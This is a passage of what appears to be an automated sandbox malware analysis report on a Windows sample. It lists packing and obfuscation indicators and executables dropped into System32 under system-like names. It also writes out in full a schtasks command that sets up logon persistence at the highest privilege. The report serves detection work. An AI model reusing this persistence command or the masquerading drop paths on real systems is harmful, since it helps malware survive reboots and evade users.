Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D751CC push 00D751F8h; ret 0_2_00D751F0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D5D1FC push 00D5D228h; ret 0_2_00D5D220
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D75194 push 00D751C0h; ret 0_2_00D751B8
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D6D1B4 push 00D6D1ECh; ret 0_2_00D6D1E4
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D851B0 push 00D851F2h; ret 0_2_00D851EA
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D67150 push 00D6717Ch; ret 0_2_00D67174
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D7D158 push 00D7D1A4h; ret 0_2_00D7D19C
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D75148 push 00D75180h; ret 0_2_00D75178
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D6E2D8 push 00D6E304h; ret 0_2_00D6E2FC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D72290 push esi; ret 0_2_00D72344
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D8D2BC push 00D8D2E8h; ret 0_2_00D8D2E0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D8526C push 00D85298h; ret 0_2_00D85290
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D75204 push 00D75230h; ret 0_2_00D75228
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D7523C push 00D75268h; ret 0_2_00D75260
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D85234 push 00D85260h; ret 0_2_00D85258
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D5C3C8 push 00D5C3F4h; ret 0_2_00D5C3EC
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D5C390 push 00D5C3BCh; ret 0_2_00D5C3B4
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D8538C push 00D853B8h; ret 0_2_00D853B0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D5F344 push 00D5F3A1h; ret 0_2_00D5F399
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D8731C push 00D87348h; ret 0_2_00D87340
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D664F8 push 00D66530h; ret 0_2_00D66528
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D71490 push 00D714BCh; ret 0_2_00D714B4
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D6E49C push 00D6E4C8h; ret 0_2_00D6E4C0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D6648C push 00D664B8h; ret 0_2_00D664B0
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D85414 push 00D85440h; ret 0_2_00D85438
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D6E100 GetModuleHandleA,LoadLibraryA,GetProcAddress,FreeLibrary, 0_2_00D6E100
Binary contains a suspicious time stamp
Source: YfTokH7RIj.exe Static PE information: 0xF66396F6 [Wed Dec 29 00:04:06 2100 UTC]
PE file contains sections with non-standard names
Source: YfTokH7RIj.exe Static PE information: section name:
Source: YfTokH7RIj.exe Static PE information: section name:
Source: YfTokH7RIj.exe Static PE information: section name:
Source: YfTokH7RIj.exe Static PE information: section name:
Source: YfTokH7RIj.exe Static PE information: section name:
Source: YfTokH7RIj.exe Static PE information: section name:
Source: YfTokH7RIj.exe Static PE information: section name: .R03nlBA
Source: YfTokH7RIj.exe Static PE information: section name: .adata
Source: fl.exe.0.dr Static PE information: section name: .vmp0
Source: fl.exe.0.dr Static PE information: section name: .vmp1
Source: services32.exe.7.dr Static PE information: section name: .vmp0
Source: services32.exe.7.dr Static PE information: section name: .vmp1
PE file contains an invalid checksum
Source: sihost32.exe.19.dr Static PE information: real checksum: 0x0 should be: 0x4510
Source: fl.exe.0.dr Static PE information: real checksum: 0x0 should be: 0x42ae2d
Source: YfTokH7RIj.exe Static PE information: real checksum: 0x3c6678 should be: 0x1994fe
Source: services32.exe.7.dr Static PE information: real checksum: 0x0 should be: 0x42ae2d
Source: initial sample Static PE information: section name: entropy: 7.99537276593
Source: initial sample Static PE information: section name: entropy: 7.7906284189
Source: initial sample Static PE information: section name: entropy: 7.92840934453
Source: initial sample Static PE information: section name: entropy: 7.52976471799
Source: initial sample Static PE information: section name: .R03nlBA entropy: 7.9184571052

Persistence and Installation Behavior:

barindex
Drops executables to the windows directory (C:\Windows) and starts them
Source: C:\Windows\System32\services32.exe Executable created and started: C:\Windows\system32\Microsoft\Telemetry\sihost32.exe
Source: C:\Windows\System32\cmd.exe Executable created and started: C:\Windows\system32\services32.exe
Drops PE files
Source: C:\Windows\System32\services32.exe File created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Jump to dropped file
Source: C:\Users\user\Desktop\YfTokH7RIj.exe File created: C:\Users\user\AppData\Local\Temp\fl.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\fl.exe File created: C:\Windows\System32\services32.exe Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Windows\System32\services32.exe File created: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\fl.exe File created: C:\Windows\System32\services32.exe Jump to dropped file

Boot Survival:

barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"

Hooking and other Techniques for Hiding and Protection:

barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\services32.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fl.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\services32.exe Process information set: NOOPENFILEERRORBOX
